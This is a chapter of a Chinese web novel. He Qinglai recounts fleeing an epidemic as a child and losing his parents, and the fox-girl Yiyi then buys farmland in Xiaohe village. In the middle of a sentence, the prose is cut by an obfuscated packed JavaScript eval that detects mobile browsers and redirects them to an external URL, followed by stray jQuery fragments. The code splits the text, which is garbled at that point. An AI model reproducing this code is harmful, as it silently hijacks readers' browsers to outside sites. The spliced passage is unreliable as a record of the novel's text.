贺清来几乎记不清楚父亲的面容，只记得那是个影影绰绰的夜晚，他在睡梦中忽然被抱起，从颠簸之中醒来，尚且不明白自己的处境。


    紧接着他便被一双大手塞进了娘亲怀中，坐上了马车。


    灯火的光、还没睡醒的泪眼、黑沉沉的夜，六岁的孩子看什么都不清楚，大人们急促而焦急的话语流水一般掠过耳边，贺清来什么也没记住。


    只有最后那一眼。


    马车要走了，他的父亲猛然扑上来掀开车窗帘子，短促地叮嘱一声：“等着我去接你们！”


    贺清来趴在母亲肩头，朝后看去，风扫起车窗帘，留下一线视野。


    倏忽而过的灯火将父亲的眉眼照亮一瞬，药堂的学徒赶车而去，从摇曳波荡的缝隙中看去，马车越走越远，只有那个黑影一般的人站在长街上，药堂后门的灯火小地如两粒萤火。


    那是他最后一次见到父亲，而父亲，也永远没有来接他。


    常州城的家，就此成了一场幻觉梦境，消散湮灭。


    “我在外祖母家中住了三个月，后来常州城里传来消息，说是疫病控制不住了，我就跟着外祖母一家，跟着我娘，一路往南逃。”


    往南逃，才能有生路。


    出走不到半个月，外祖母就病倒了，艰难又走了两日，赶车的长随、药堂的小学徒，帮着娘亲潦草地安葬了外祖母，疫病紧随，压在心头。


    后来碰上逃难的人群，那个小学徒与众人走散，再往后，长随也倒下了，连拉车的马都死了。


    这时候已经顾不上安葬，路边随处可见奄奄一息、逐渐腐烂的人。


    不能坐车，母亲就抱着他走，抱着他逃。


    起初的逃民真是好多啊，成群结队，后来越走越少，就像逐渐干涸的河流。


    贺清来依稀记得，离家的时候是个温热的夏夜，可不久之后便是深秋寒冬。


    起初官府不允外逃，只想把他们困在常州界内——常州城哪里还有生路？


    可等秋霜上冻，立冬将至，连官府也不管了，听天由命，命大的逃到新地方，扎根生存，没这个命的，死在常州山中，也算落叶归根。


    彼时北国寒霜在身后不停追逐，别说是冻疮了，手脚流血化脓都是平常，逃命路上，纵使官府默认，但城池不敢收留，于是难民们不能走官道，只能走山路小径。


    年幼的贺清来跟着母亲，穿行在凋敝山林中，翻山越岭，饿了就挖草根、树皮，渴了就喝山上冷水。


    运气好的时候，能碰见善人在村外小道摆上烧饼干粮，哄抢之中，母亲总能夺下两块饼子。


    可是命运无常，逃出常州地界三日后，贺清来的母亲就倒下了。


    “我母亲说，让我继续逃，逃到春暖花开、没有冷饿的地方去，不要为她停下来。”贺清来讲述着这件往事，语气却平和、宁静。


    贺清来的眼前，渐渐浮现数年前的夜晚。


    娘亲在午后倒下，年幼的孩子仓惶地抱紧母亲，脱下身上外衫紧紧裹住母亲，深山如此孤寂，举目四望，身边只有落叶、枯枝，头顶萧瑟的树木。


    贺清来拢着周围的一切，温热的泥土盖着他的脚。


    如果可以，贺清来希望自己是一棵树，或是一堆藤蔓，若能够祈求到温暖，他愿意和母亲一同没入泥土。


    没有火，没有水，只有半路上施舍而来的半块饼，贺清来一点点掰碎了，缓缓揉进母亲皴裂的口中，月上中天，娘亲睁开了眼睛。


    那个时候，娘的一双眼睛和明月一样亮，她吃力道：“清来，别管娘了，继续往南逃吧，再有一段路，就能到沐川了。”


    平明时分，娘亲断了气。


    贺清来找到一个朝阳缓坡，刨烂双手，用落叶、用泥土，枯枝，埋葬了母亲。


    “后来，我逃进沐川，城里只能收留，不能定居，那时候我才七岁，官府会把我送进慈幼堂，等着新的人家收养，”贺清来轻声说着，微微摇了摇头，“我有名有姓，记得自己是哪里人士，所以不肯去，趁官差不备，又逃了。”


    那时候，沐川的官差将这些有幸活下来的难民小孩收拢在一起，总共只有五六个小孩，大的十三四岁，最小的是贺清来。


    领头的男人好声好气，说要送他们到慈幼堂，那是个好去处，他们住上一段时间，会被好人家收养，重新过上无忧无虑的生活。


    最大的那个孩子叫什么名字已经忘了，只记得他大声问：“领养之后呢？”


    “改换名姓，上了沐川户籍，自然就是沐川人士。”


    大的不服气：“我都十四了，怎么改换？”


    “你这么大的，少有人收养，有地方住着，学门手艺，自力更生吧。”


    大孩子噤声，不再言语。


    贺清来心里却一惊，天上飞过群雁，那是他来时的方向，紧贴心口，还藏着阿娘的簪子。


    贺清来趁着领头官兵和慈幼堂管事说话，他悄无声息，慢慢地贴着墙往后走，接着一个扭身，飞速逃走。


    身后传来大人们的呼喊，贺清来心跳如鼓擂，小孩子衣衫褴褛，当街狂奔，七扭八扭，哪里狭窄往哪里逃，钻狗洞、蹿小巷，终于把紧追不舍的官差给甩掉了。


    可是沐川城那么大，那么多官差，贺清来在沐川城，迟早会被送回慈幼堂的。


    他想起母亲的话：“像大雁一样，往南逃。”


    “我一路逃，天上飘起小雪的时候，被杜爷爷捡了回来，就此在这里长大。”


    贺清来说到这里，微微笑：“我娘说，我的名字取自于清风徐来，所以叫清来，小河村比常州温暖很多，这里很好。”


    狐狸听得认真，贺清来看着她模样，心里涌上一阵桂花蜜似的温暖。


    他的旧事不多，只想一件件说出来，说给衣衣听。


    “娘亲走前，说不论到了哪里，都不许给她和爹立坟冢，也不许供奉牌位，所以清明节，我并不用拜祭双亲。”


    “这是为什么？”狐狸情不自禁问。


    贺清来温和地注视着狐狸，眉眼中怀着释然和轻松，娓娓道来：“一则，我是年少失孤，飘零异乡，能活下去都是个问题，更别说立衣冠冢、做牌位。”


    “二来，立个牌位看似是个念想，可我年纪太小，只会时时想起自己无依无靠，只怕要沉湎悲戚，自怜自艾，更过不好接下来的日子。”


    他明白娘亲的深意，父母之爱子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120538|156398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，则为之计深远。


    往事已尽，狐狸只觉得心上微微发酸。


    贺清来却很释怀地朝着狐狸宽慰一笑，端起二人粥碗：“都冷了，我再重新盛粥。”


    狐狸稍稍回神，双手接过热腾腾的粥，慢慢吃了几口，看贺清来面无郁色，便放下心来。


    好在不久之后，连这场清明雨也停了，满山仿佛一夜之间春风席卷，嫩绿冒头，毛茸茸如一层云彩浮在群山连绵。


    刚到三月底，众人又开始农忙前奏，翻田锄地，狐狸乐颠颠跟着贺清来忙前忙后。


    天地清朗，杜村长站在地头看了半响，忽然一招手，呼喊道：“衣衣！”


    狐狸一抬头，朝杜村长看去，接着跨上田埂，朝他奔去：“爷爷！什么事！”


    等狐狸到了跟前，村长朝着眼前土地比划：“你的户籍办妥了，就在小河村，你看这里的田，你中意哪里？”


    狐狸一呆，“给我田作甚？”


    “这傻孩子！不要田怎么能行？”姜娘子大笑，“既然是小河村人，就得有一块小河村的田。”


    “自从流民逃难，四处扎根后，官府定策，定居百姓可以卖田定租，”杜爷爷和善地仔细解释着，担心狐狸不明白，“爷爷的田最大，种着费力气，你若手有余钱，可以先买几分地种着，若没有，林婆婆说了，许你先租她的田种。”


    “买卖虽便利，但不如有块自己的田，什么时候也饿不到，只是租买都需按照官府定价，写出合同，这才可以。”


    狐狸明白了，她是得有块田呢，总不能只吃贺清来的稻谷！


    这么想着，她的目光在稻田中流连，只是并非行家，看不出什么差别，于是道：“哪里都行！过了个年，我手里没那么多银钱，约莫只有不到二两，不知能买多大一块？”


    “村中均是二等田，一亩二两银，既如此，你先拿出一两，分出半亩地。”杜爷爷斟酌着，“往后若手有余钱，再买也来得及。”


    狐狸心中雀跃，抬步便走：“那我回家取钱！”


    杜村长笑道：“取了钱，到我家中画押签字。”


    狐狸响亮地答应一声，风似的跑回家，屋子里安安静静，一只鼠也没有，开了春，小鼠们欢腾笑语，都不愿再拘在屋里。


    狐狸一把拉开小抽屉，铜钱、碎银子碰撞在一起，放了一个冬天，散发出微微的木头香气，她从铜板中捡出银粒，加在一起约莫是一两，只怕不够，狐狸又数出百枚铜板，如数塞进荷包。


    等进了杜爷爷家，桌上摊出三份，田契、文书等，全部齐全，狐狸高兴交出银子，小秤子一称，杜爷爷眯着眼看：“···还差七十文，衣衣你来看。”


    “不用看，我信爷爷！”狐狸低头找钱。


    交付银钱，她很珍重地在文书上签字画押，心里还在庆幸，幸好同贺清来学了名字，如今正好下笔。


    “还得在官府留底盖章，新田契才作数，明日我便去官府，盖了章给你送去。


    狐狸点头，觉得有点轻飘飘的惊异。


    翘首以盼两日，终于在四月开月，狐狸拿回自己的田契，田契上花花绿绿，看不明白的一行行、一列列墨字，还有花纹缭乱的官中红章。